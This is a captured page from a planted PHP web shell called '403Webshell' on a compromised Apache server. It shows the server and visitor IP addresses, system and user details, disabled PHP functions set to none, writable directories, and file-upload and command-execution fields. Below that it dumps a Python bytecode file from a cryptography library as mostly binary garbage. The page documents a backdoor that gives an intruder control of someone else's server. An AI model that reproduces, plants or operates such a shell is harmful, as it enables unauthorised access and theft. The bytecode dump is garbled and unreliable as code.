403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/hmac.cpython-311.pyc
�

p�g��r�ddlZddlmZmZmZddlmZmZejrddl	m
Z
Gd�dej��ZdS)�N)�InvalidSignature�UnsupportedAlgorithm�_Reasons)�
constant_time�hashes)�Backendc��eZdZ	ddddedejfd�Zedejfd���Zdd	�Z	d
eddfd�Z
defd�Zd
eddfd�ZdS)�_HMACContextN�backendr�key�	algorithmc���||_||_|��W|jj���}|j�||jjjk��|jj�||jjj��}|j�	|��}||jjjkr2td�|j��tj���|jj�|��}|jj�||t#|��||jjj��}|j�|dk��||_||_dS)Nz*{} is not a supported hash on this backendr)�
_algorithm�_backend�_lib�HMAC_CTX_new�openssl_assert�_ffi�NULL�gc�
HMAC_CTX_free�_evp_md_from_algorithmr�format�namer�UNSUPPORTED_HASH�from_buffer�HMAC_Init_ex�len�_ctx�_key)�selfrrr
�ctx�evp_md�key_ptr�ress        �K/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/hmac.py�__init__z_HMACContext.__init__sG��$�����
��;��-�$�1�1�3�3�C��M�(�(���
�0B�0G�)G�H�H�H��-�$�'�'��T�]�-?�-M�N�N�C��]�9�9�)�D�D�F����+�0�0�0�*�@�G�G�!�����-�	����m�(�4�4�S�9�9�G��-�$�1�1��W�c�#�h�h���
�0B�0G���C�
�M�(�(����2�2�2���	���	�	�	��returnc��|jS�N)r)r!s r&r
z_HMACContext.algorithm3s
����r(c��|jj���}|j�||jjjk��|jj�||jjj��}|jj�||j	��}|j�|dk��t|j|j|j|���S)Nr)r")
rrrrrrrr�
HMAC_CTX_copyrr
r r
)r!�
copied_ctxr%s   r&�copyz_HMACContext.copy7s����]�'�4�4�6�6�
��
�$�$�Z�4�=�3E�3J�%J�K�K�K��]�'�*�*���
�*�8�
�
�
��m� �.�.�z�4�9�E�E���
�$�$�S�A�X�.�.�.���M�4�9�d�n�*�
�
�
�	
r(�datac���|jj�|��}|jj�|j|t
|����}|j�|dk��dS)Nr)rrrr�HMAC_Updaterrr)r!r0�data_ptrr%s    r&�updatez_HMACContext.updateCs^���=�%�1�1�$�7�7���m� �,�,�T�Y��#�d�)�)�L�L���
�$�$�S�A�X�.�.�.�.�.r(c���|jj�d|jjj��}|jj�d��}|jj�|j||��}|j�|dk��|j�|d|jj	k��|jj�
|��d|d�S)Nzunsigned char[]zunsigned int *r)rr�newr�EVP_MAX_MD_SIZE�
HMAC_Finalrrr
�digest_size�buffer)r!�buf�outlenr%s    r&�finalizez_HMACContext.finalizeHs����m� �$�$��t�}�1�A�
�
����#�'�'�(8�9�9���m� �+�+�D�I�s�F�C�C���
�$�$�S�A�X�.�.�.��
�$�$�V�A�Y�$�.�2L�%L�M�M�M��}�!�(�(��-�-�k��q�	�k�:�:r(�	signaturec�v�|���}tj||��std���dS)NzSignature did not match digest.)r=r�bytes_eqr)r!r>�digests   r&�verifyz_HMACContext.verifyRs@���������%�f�i�8�8�	F�"�#D�E�E�E�	F�	Fr(r+)r)r
)
�__name__�
__module__�__qualname__�bytesr�
HashAlgorithmr'�propertyr
r/r4r=rB�r(r&r
r
s�������
��������'�	����>��6�/�����X��

�

�

�

�/�5�/�T�/�/�/�/�
;�%�;�;�;�;�F��F�$�F�F�F�F�F�Fr(r
)
�typing�cryptography.exceptionsrrr�cryptography.hazmat.primitivesrr�
TYPE_CHECKING�,cryptography.hazmat.backends.openssl.backendr�HashContextr
rIr(r&�<module>rPs���
�
�
�
�����������
A�@�@�@�@�@�@�@�
��E�D�D�D�D�D�D�BF�BF�BF�BF�BF�6�%�BF�BF�BF�BF�BFr(

Youez - 2016 - github.com/yon3zu
LinuXploit